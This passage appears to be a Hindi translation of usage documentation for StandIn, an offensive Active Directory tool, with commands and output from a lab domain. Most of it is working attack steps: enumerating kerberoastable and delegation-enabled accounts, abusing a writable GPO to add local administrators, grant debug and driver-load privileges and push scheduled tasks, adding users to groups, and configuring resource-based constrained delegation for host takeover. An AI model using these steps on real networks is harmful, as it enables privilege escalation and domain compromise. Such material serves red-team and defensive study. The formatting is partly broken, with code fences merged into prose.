DistinguishedName : CN=passnotreq,CN=Users,DC=redhook,DC=local
PwdLastSet : 6/6/2021 10:47:27 PM UTC
lastlogon : 0x0
userAccountControl : PASSWD_NOTREQD, NORMAL_ACCOUNT
[*] SamAccountName : REDHOOKSLSRV$
DistinguishedName : CN=RedHookSLSRV,CN=Computers,DC=redhook,DC=local
PwdLastSet : 6/6/2021 10:51:37 PM UTC
lastlogon : 0x0
userAccountControl : PASSWD_NOTREQD, WORKSTATION_TRUST_ACCOUNT
ये फ़ंक्शन विशेष रूप से SPN से संबंधित हैं।
यह फ़ंक्शन AD में उन सभी खातों की गणना करता है जो वर्तमान में सक्षम हैं और केरबेरोस्ट किए जा सकते हैं। संदर्भ के लिए कुछ बुनियादी खाता जानकारी जोड़ी जाती है: पासवर्ड अंतिम बार कब सेट किया गया था, खाता अंतिम बार कब उपयोग किया गया था और कौन से एन्क्रिप्शन प्रकार समर्थित हैं।
उन सभी खातों को लौटाएँ जो केरबेरोस्ट करने योग्य हैं।``` C:> StandIn.exe --spn
[?] Using DC : m-w16-dc01.main.redhook.local [?] Found 1 kerberostable users..
[*] SamAccountName : SimCritical DistinguishedName : CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local ServicePrincipalName : ldap/M-2012R2-03.main.redhook.local PwdLastSet : 11/2/2020 7:06:17 PM UTC lastlogon : 0x0 Supported ETypes : RC4_HMAC_DEFAULT
### Set SPN
#### उपयोग केस
> *"उचित अनुमतियों के साथ, यह फ़ंक्शन आपको किसी `samAccountName` से `SPN` जोड़ने और हटाने की अनुमति देता है।"*
#### सिंटैक्स
किसी `samAccountName` से `SPN` को जोड़ें और हटाएं।```
C:\> StandIn.exe --setspn user001 --principal MSSQL/Alchimiae --add
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[*] SamAccountName : user001
DistinguishedName : CN=user 001,CN=Users,DC=redhook,DC=local
[+] Adding servicePrincipalName : MSSQL/Alchimiae
|_ Success
C:\> StandIn.exe --object samaccountname=user001 --filter serviceprincipalname
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[?] Iterating object properties
|_ Applying property filter => serviceprincipalname
[+] serviceprincipalname
|_ HTTP/Alchimiae
|_ MSSQL/Alchimiae
C:\>StandIn.exe --setspn user001 --principal HTTP/Alchimiae --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[*] SamAccountName : user001
DistinguishedName : CN=user 001,CN=Users,DC=redhook,DC=local
ServicePrincipalName : HTTP/Alchimiae
MSSQL/Alchimiae
[+] Removing servicePrincipalName : HTTP/Alchimiae
|_ Success
C:\> StandIn.exe --object samaccountname=user001 --filter serviceprincipalname
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[?] Iterating object properties
|_ Applying property filter => serviceprincipalname
[+] serviceprincipalname
|_ MSSQL/Alchimiae
यह फ़ंक्शन उन सभी खातों की गणना करता है जिन्हें अप्रतिबंधित, प्रतिबंधित, या संसाधन-आधारित प्रतिबंधित प्रतिनिधिमंडल करने की अनुमति है। इन परिसंपत्तियों का उपयोग पहुंच बढ़ाने या उद्देश्यों को प्राप्त करने के लिए किया जा सकता है।
उन सभी खातों को लौटाएं जिनके पास या तो अप्रतिबंधित या प्रतिबंधित प्रतिनिधिमंडल अनुमतियाँ हैं, या जिनके पास inbound संसाधन-आधारित प्रतिबंधित प्रतिनिधिमंडल विशेषाधिकार हैं।``` C:> StandIn.exe --delegation
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 3 object(s) with unconstrained delegation..
[*] SamAccountName : M-2019-03$ DistinguishedName : CN=M-2019-03,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[*] SamAccountName : M-W16-DC01$ DistinguishedName : CN=M-W16-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[*] SamAccountName : M-W19-DC01$ DistinguishedName : CN=M-W19-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[?] Found 2 object(s) with constrained delegation..
[*] SamAccountName : M-2019-04$ DistinguishedName : CN=M-2019-04,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local msDS-AllowedToDelegateTo : HOST/m-w16-dc01.main.redhook.local/main.redhook.local HOST/m-w16-dc01.main.redhook.local HOST/M-W16-DC01 HOST/m-w16-dc01.main.redhook.local/MAIN HOST/M-W16-DC01/MAIN Protocol Transition : False userAccountControl : WORKSTATION_TRUST_ACCOUNT
[*] SamAccountName : M-2019-05$ DistinguishedName : CN=M-2019-05,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local msDS-AllowedToDelegateTo : cifs/m-2012r2-03.main.redhook.local cifs/M-2012R2-03 Protocol Transition : True userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
[?] Found 1 object(s) with resource-based constrained delegation..
[*] SamAccountName : M-10-1909-01$ DistinguishedName : CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local Inbound Delegation : Server Admins [GROUP] userAccountControl : WORKSTATION_TRUST_ACCOUNT
## DC's
#### उपयोग मामला
> *यह फ़ंक्शन सभी डोमेन नियंत्रकों को खोजकर और उनके गुणों, जिनमें उनके भूमिका असाइनमेंट शामिल हैं, को सूचीबद्ध करके स्थितिजन्य जागरूकता प्रदान करता है।*
#### सिंटैक्स
सभी डोमेन नियंत्रक प्राप्त करें।```
C:\> StandIn.exe --dc
[?] Using DC : m-w16-dc01.main.redhook.local
|_ Domain : main.redhook.local
[*] Host : m-w16-dc01.main.redhook.local
Domain : main.redhook.local
Forest : main.redhook.local
SiteName : Default-First-Site-Name
IP : 10.42.54.5
OSVersion : Windows Server 2016 Datacenter
Local System Time UTC : Tuesday, 03 November 2020 03:29:17
Role : SchemaRole
NamingRole
PdcRole
RidRole
InfrastructureRole
[*] Host : m-w19-dc01.main.redhook.local
Domain : main.redhook.local
Forest : main.redhook.local
SiteName : Default-First-Site-Name
IP : 10.42.54.13
OSVersion : Windows Server 2019 Datacenter
Local System Time UTC : Tuesday, 03 November 2020 03:29:17
यह फ़ंक्शन सभी डोमेन ट्रस्ट को ढूंढकर स्थितिजन्य जागरूकता प्रदान करता है।
वर्तमान डोमेन के लिए सभी ट्रस्ट संबंध प्राप्त करें।``` C:> StandIn.exe --trust
[?] Using DC : m-w16-dc01.main.redhook.local |_ Domain : main.redhook.local
[>] Source : main.redhook.local Target : redhook.local TrustDirection : Bidirectional TrustType : ParentChild
## GPO संचालन
ये फ़ंक्शन विशेष रूप से GPO हेरफेर से संबंधित हैं।
### GPO's सूची बनाएं
#### उपयोग का मामला
> *यह फ़ंक्शन डोमेन `Group Policy` ऑब्जेक्ट्स की सूची बना सकता है। वैकल्पिक रूप से आप वापस लौटाई गई प्रविष्टियों की संख्या को `--filter` और `--limit` वाइल्डकार्ड कर सकते हैं। आप GPO ऑब्जेक्ट्स के लिए `--acl` के साथ ACL's भी क्वेरी कर सकते हैं।*
#### सिंटैक्स
GPO ऑब्जेक्ट्स की सूची बनाएं और GPO ACL's की समीक्षा करें।```
C:\> StandIn.exe --gpo
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO result count : 3
|_ Result limit : 50
[?] Object : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}
Path : LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Default Domain Controllers Policy
CN : {6AC1786C-016F-11D2-945F-00C04fB984F9}
GPCFilesysPath : \\redhook.local\sysvol\redhook.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
GPCMachineExtensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
WhenCreated : 6/3/2021 10:30:25 AM
WhenChanged : 6/3/2021 10:30:25 AM
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9}
Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Default Domain Policy
CN : {31B2F340-016D-11D2-945F-00C04FB984F9}
GPCFilesysPath : \\redhook.local\sysvol\redhook.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
GPCMachineExtensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
WhenCreated : 6/3/2021 10:30:25 AM
WhenChanged : 6/5/2021 11:59:55 PM
[?] Object : CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : LDAP://CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Shards
CN : {028A7368-C524-46AA-B27A-CE8BDAC4EA66}
GPCFilesysPath : \\redhook.local\SysVol\redhook.local\Policies\{028A7368-C524-46AA-B27A-CE8BDAC4EA66}
GPCMachineExtensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
WhenCreated : 6/4/2021 2:11:43 PM
WhenChanged : 6/4/2021 11:33:33 PM
C:\> StandIn.exe --gpo --filter Shards --acl
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO result count : 1
|_ Result limit : 50
|_ Applying search filter
[?] Object : CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : LDAP://CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66},CN=Policies,CN=System,DC=redhook,DC=local
GPCFilesysPath : \\redhook.local\SysVol\redhook.local\Policies\{028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : OK
[+] Account : CREATOR OWNER
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : InheritOnly
[+] Account : NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
Type : Allow
Rights : ReadAndExecute, Synchronize
Inherited ACE : False
Propagation : None
[+] Account : NT AUTHORITY\Authenticated Users
Type : Allow
Rights : ReadAndExecute, Synchronize
Inherited ACE : False
Propagation : None
[+] Account : NT AUTHORITY\SYSTEM
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\Domain Admins
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\Enterprise Admins
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\user001
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
उपयुक्त अनुमतियों के साथ, किसी डोमेन उपयोगकर्ता को कमजोर GPO पर
BUILTIN\Administratorsमें जोड़ना संभव है।
Shards GPO से जुड़े सभी लिंक किए गए कंप्यूटर ऑब्जेक्ट्स के लिए BUILTIN\Administrators समूह में उपयोगकर्ता जोड़ें। यह फ़ंक्शन आवश्यक फ़ाइलें बना सकता है और मौजूदा फ़ाइलों को भी अपडेट कर सकता है। सावधानी से उपयोग करें।```
C:> StandIn.exe --gpo --filter Shards --localadmin user002
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[+] User Object Found Object : CN=user 002 Path : LDAP://CN=user 002,CN=Users,DC=redhook,DC=local SID : S-1-5-21-315358687-3711474269-2098994107-1106
[?] GPO Version User : 0 Computer : 0
[+] Writing GPO changes |_ Creating GptTmpl.inf |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Creating gPCMachineExtensionNames
### GPO उपयोगकर्ता विशेषाधिकार जोड़ें
> *उपयुक्त अनुमतियों के साथ, एक कमजोर GPO पर डोमेन उपयोगकर्ता के लिए टोकन विशेषाधिकार सक्षम करना संभव है।*
#### वाक्यविन्यास
`Shards` GPO से जुड़े सभी लिंक किए गए कंप्यूटर ऑब्जेक्ट्स के लिए उपयोगकर्ता खाते में `token` विशेषाधिकार जोड़ें। यह फ़ंक्शन आवश्यक फ़ाइलें बना सकता है और मौजूदा फ़ाइलों को भी अपडेट कर सकता है। **सावधानी से उपयोग करें।**```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
[+] Validating account rights
|_ Rights count: 2
|_ SeDebugPrivilege
|_ SeLoadDriverPrivilege
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[+] User Object Found
Object : CN=user 002
Path : LDAP://CN=user 002,CN=Users,DC=redhook,DC=local
SID : S-1-5-21-315358687-3711474269-2098994107-1106
[?] GPO Version
User : 0
Computer : 1
[+] Writing GPO changes
|_ Updating existing GptTmpl.inf
|_ Adding GPO Privileges
|_ Updating revision
|_ Updating gpt.inf
|_ Updating AD object
|_ Incrementing version number
|_ Updating gPCMachineExtensionNames
उपयुक्त अनुमतियों के साथ, GPO के
UserयाComputerघटक में एक तत्काल कार्य जोड़ना संभव है। वैकल्पिक रूप से, इन कार्यों को एकल उपयोगकर्ता या एकल कंप्यूटर पर लागू करने के लिए संकुचित किया जा सकता है।
एक सामान्य Computer कार्य जोड़ें जो Shards GPO से जुड़ी सभी लिंक की गई कंप्यूटर वस्तुओं के लिए निष्पादित होगा। साथ ही एक लक्षित User कार्य जोड़ें जो केवल एक विशिष्ट डोमेन उपयोगकर्ता के लिए निष्पादित होगा। यह फ़ंक्शन आवश्यक फ़ाइलें बनाने और मौजूदा फ़ाइलों को अपडेट करने दोनों में सक्षम है। सावधानी से उपयोग करें।```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[?] GPO Version User : 0 Computer : 2
[+] Writing GPO changes |_ Creating ScheduledTasks.xml |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Updating gPCMachineExtensionNames
C:> StandIn.exe --gpo --filter Shards --tasktype user --taskname Ivonis --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args" --target "REDHOOK\user001" --targetsid S-1-5-21-315358687-3711474269-2098994107-1105
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[?] GPO Version User : 0 Computer : 3
[+] Writing GPO changes |_ Creating ScheduledTasks.xml |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Creating gPCUserExtensionNames
### GPO उपयोगकर्ता / कंप्यूटर संस्करण बढ़ाएँ
> *जबकि पिछले GPO फ़ंक्शन शक्तिशाली शोषण प्राइमिटिव प्रदान करते हैं, `SysVol` पर `GPO` को मैन्युअल रूप से संपादित करने की क्षमता होना उपयोगी हो सकता है। एक बार किसी भी GPO को मैन्युअल रूप से संशोधित करने के बाद, परिवर्तनों को सही ढंग से प्रसारित करने के लिए AD ऑब्जेक्ट संस्करण को सिंक किया जाना चाहिए। यह फ़ंक्शन ऐसा करता है।*
#### सिंटैक्स
संबंधित AD ऑब्जेक्ट पर `User` या `Computer` GPO संस्करण बढ़ाएँ।```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --increase --tasktype user
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[?] Current GPO Versioning
User : 1
Computer : 3
--> Incrementing user version
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --increase --tasktype computer
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[?] Current GPO Versioning
User : 2
Computer : 3
--> Incrementing computer version
यह फ़ंक्शन स्थितिजन्य जागरूकता के लिए कुछ बुनियादी नीति जानकारी प्रदर्शित करने का प्रयास करता है।
Default Domain Policy पढ़ें और कुछ उपयोगकर्ता/सत्र नीति जानकारी निकालें। यदि डिफ़ॉल्ट नीति का नाम बदल दिया गया है तो आप इसे --filter के साथ निर्दिष्ट कर सकते हैं, वैकल्पिक रूप से आप डोमेन रूट के लिए --object क्वेरी कर सकते हैं (उदा. distinguishedname=DC=redhook,DC=local).```
C:> StandIn.exe --policy
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9} Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local Policy Root : \redhook.local\sysvol\redhook.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Domain Policy |_ MinimumPasswordAge : 1 |_ MaximumPasswordAge : 42 |_ MinimumPasswordLength : 7 |_ PasswordComplexity : 1 |_ PasswordHistorySize : 24 |_ LockoutBadCount : 5 |_ ResetLockoutCount : 30 |_ LockoutDuration : 30 |_ LSAAnonymousNameLookup : 0 |_ Kerberos max User ticket lifetime : 10 |_ Kerberos max Service ticket lifetime : 600 |_ Kerberos max User ticket renewal lifetime : 7
## DNS
#### उपयोग मामला
> *यह फ़ंक्शन AD से डोमेन DNS जानकारी प्राप्त करता है और वाइल्डकार्ड फ़िल्टरिंग का समर्थन करता है।*
#### वाक्यविन्यास
विशिष्ट `CN=MicrosoftDNS` ऑब्जेक्ट्स के अंतर्गत DNS प्रविष्टियाँ पढ़ें और बाइनरी DNS डेटा को पार्स करें। `--legacy` या `--forest` निर्दिष्ट करके `search base` को समायोजित किया जा सकता है। आप `--limit` के साथ लौटाए गए परिणामों को भी सीमित कर सकते हैं।```
C:\Users\user001\Desktop>StandIn.exe --dns --filter RedHook-CLI
[+] Search Base: LDAP://DC=redhook.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=redhook,DC=local
[+] Object : RedHook-CLI-01
|_ DNS_RPC_RECORD_A : 10.0.0.100
[+] Object : RedHook-CLI-02
|_ DNS_RPC_RECORD_A : 10.0.0.101
यह फ़ंक्शन स्थितिजन्य जागरूकता प्रदान करता है, एक डोमेन समूह के सभी सदस्यों को उनके प्रकार (उपयोगकर्ता या नेस्टेड समूह) सहित सूचीबद्ध करता है। इनपुट के रूप में यह एक
samAccountNameभी ले सकता है और यह बताएगा कि उपयोगकर्ता किन समूहों का हिस्सा है।
समूह सदस्यता या उपयोगकर्ता सदस्यताओं की गणना करें और सदस्य ऑब्जेक्ट्स के लिए प्रारंभिक विवरण प्रदान करें।``` C:> StandIn.exe --group "Server Admins"
[?] Using DC : m-w16-dc01.main.redhook.local [?] Type : Group resolution Group : Server Admins
[+] Members
[?] Path : LDAP://CN=Workstation Admins,OU=Groups,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : Workstation Admins Type : SAM_GROUP_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1108
[?] Path : LDAP://CN=Server Admin 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin001 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1111
[?] Path : LDAP://CN=Server Admin 002,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin002 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1184
[?] Path : LDAP://CN=Server Admin 003,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin003 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1185
[?] Path : LDAP://CN=Server Admin 004,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin004 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1186
[?] Path : LDAP://CN=Server Admin 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin005 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1187
[?] Path : LDAP://CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : SimCritical Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1204
C:> StandIn.exe --group user001
[?] Using DC : m-w16-dc01.main.redhook.local [?] Type : User resolution User : user 001
[+] Memberships
[?] Path : LDAP://<SID=010500000000000515000000dffdcb125d9a38ddbb1b1c7d01020000> samAccountName : Domain Users Type : SAM_GROUP_OBJECT SID : S-1-5-21-315358687-3711474269-2098994107-513
### समूह में उपयोगकर्ता जोड़ें/हटाएं
#### उपयोग मामला
> *उपयुक्त पहुँच के साथ संचालक एक NTAccount को डोमेन समूह में जोड़ या हटा सकता है।*
#### वाक्य-विन्यास
एक NTAccount पहचानकर्ता को डोमेन समूह में जोड़ें। सामान्यतः यह एक उपयोगकर्ता होगा लेकिन यह एक समूह भी हो सकता है। अंत में, NTAccount पहचानकर्ता को डोमेन समूह से हटाएँ।```
C:\> StandIn.exe --group lowprivbutmachineaccess
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Type : Group resolution
Group : lowprivbutmachineaccess
[+] Members
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : s4uUser
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:\> StandIn.exe --group lowprivbutmachineaccess --ntaccount "MAIN\user001" --add
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Group : lowPrivButMachineAccess
GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Adding user to group
|_ Success
C:\> StandIn.exe --group lowprivbutmachineaccess
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Type : Group resolution
Group : lowprivbutmachineaccess
[+] Members
[?] Path : LDAP://CN=User 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : user001
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1106
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : s4uUser
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:\> StandIn.exe --group testgroup --ntaccount "MAIN\user001" --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Group : lowPrivButMachineAccess
GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Removing user from group
|_ Success
ये फ़ंक्शन विशेष रूप से मशीन संचालन के लिए हैं और मशीन के नाम को इनपुट के रूप में अपेक्षित करते हैं।
ऑपरेटर संसाधन-आधारित प्रतिबंधित प्रतिनिधिमंडल हमला करने के लिए एक मशीन ऑब्जेक्ट बनाना चाह सकता है। डिफ़ॉल्ट रूप से किसी भी डोमेन उपयोगकर्ता के पास स्थानीय डोमेन पर 10 मशीनें बनाने की क्षमता होती है।
यादृच्छिक पासवर्ड के साथ एक नया मशीन ऑब्जेक्ट बनाएं, उपयोगकर्ता ms-DS-MachineAccountQuota इस संचालन पर लागू होता है।```
C:> StandIn.exe --computer M-1337-b33f --make
[?] Using DC : m-w16-dc01.main.redhook.local |_ Domain : main.redhook.local |_ DN : CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local |_ Password : MlCGkaacS5SRUOt
[+] Machine account added to AD..
The `ms-DS-MachineAccountQuota` गुण डोमेन रूट ऑब्जेक्ट में मौजूद होता है। यदि आप कोटा सत्यापित करना चाहते हैं तो आप नीचे दिखाए अनुसार ऑब्जेक्ट खोज कर सकते हैं।```
C:\> StandIn.exe --object ms-DS-MachineAccountQuota=*
सामान्य उपयोगकर्ताओं के पास मशीन ऑब्जेक्ट को हटाने की क्षमता नहीं होती है, हालांकि एक उपयोगकर्ता जो मशीन बनाता है वह उसके बाद मशीन ऑब्जेक्ट को अक्षम कर सकता है।
पहले बनाई गई मशीन को अक्षम करें। यह क्रिया उसी उपयोगकर्ता के संदर्भ में की जानी चाहिए जिसने मशीन बनाई थी। ध्यान दें कि गैर-उन्नत उपयोगकर्ता मशीन ऑब्जेक्ट को हटा नहीं सकते, केवल उन्हें अक्षम कर सकते हैं।``` C:> StandIn.exe --computer M-1337-b33f --disable
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-1337-b33f Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local
[+] Machine account currently enabled |_ Account disabled..
### मशीन ऑब्जेक्ट हटाएं
#### उपयोग का मामला
> *उन्नत AD विशेषाधिकारों के साथ ऑपरेटर एक मशीन ऑब्जेक्ट को हटा सकता है, जैसे कि हमले की श्रृंखला में पहले बनाया गया था।*
#### सिंटैक्स
मशीन ऑब्जेक्ट को हटाने के लिए एक उन्नत संदर्भ का उपयोग करें।```
C:\> StandIn.exe --computer M-1337-b33f --delete
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=M-1337-b33f
Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local
[+] Machine account deleted from AD
मशीन ऑब्जेक्ट पर लिखने की पहुंच होने पर, यह फ़ंक्शन ऑपरेटर को मशीन में एक
msDS-AllowedToActOnBehalfOfOtherIdentityप्रॉपर्टी जोड़ने की अनुमति देता है, जो संसाधन-आधारित प्रतिबंधित प्रतिनिधिमंडल हमले को अंजाम देने के लिए आवश्यक है।
मशीन में एक msDS-AllowedToActOnBehalfOfOtherIdentity प्रॉपर्टी जोड़ें, साथ ही एक SID, जो संसाधन-आधारित प्रतिबंधित प्रतिनिधिमंडल का उपयोग करके होस्ट अधिग्रहण को सुविधाजनक बनाता है।```
C:> StandIn.exe --computer m-10-1909-03 --sid S-1-5-21-1293271031-3053586410-2290657902-1205
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-03 Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] SID added to msDS-AllowedToActOnBehalfOfOtherIdentity
C:> StandIn.exe --object samaccountname=m-10-1909-03$
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-03 Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[?] Iterating object properties
[+] logoncount |_ 107 [+] codepage |_ 0 [+] objectcategory |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local [+] iscriticalsystemobject |_ False [+] operatingsystem |_ Windows 10 Enterprise [+] usnchanged |_ 195771 [+] instancetype |_ 4 [+] name |_ M-10-1909-03 [+] badpasswordtime |_ 7/9/2020 5:07:11 PM UTC [+] pwdlastset |_ 10/29/2020 6:44:08 PM UTC [+] serviceprincipalname |_ TERMSRV/M-10-1909-03 |_ TERMSRV/m-10-1909-03.main.redhook.local |_ WSMAN/m-10-1909-03 |_ WSMAN/m-10-1909-03.main.redhook.local |_ RestrictedKrbHost/M-10-1909-03 |_ HOST/M-10-1909-03 |_ RestrictedKrbHost/m-10-1909-03.main.redhook.local |_ HOST/m-10-1909-03.main.redhook.local [+] objectclass |_ top |_ person |_ organizationalPerson |_ user |_ computer [+] badpwdcount |_ 0 [+] samaccounttype |_ SAM_MACHINE_ACCOUNT [+] lastlogontimestamp |_ 10/29/2020 12:29:26 PM UTC [+] usncreated |_ 31127 [+] objectguid |_ c02cff97-4bfd-457c-a568-a748b0725c2f [+] localpolicyflags |_ 0 [+] whencreated |_ 7/9/2020 5:05:08 PM [+] adspath |_ LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] useraccountcontrol |_ WORKSTATION_TRUST_ACCOUNT [+] cn |_ M-10-1909-03 [+] countrycode |_ 0 [+] primarygroupid |_ 515 [+] 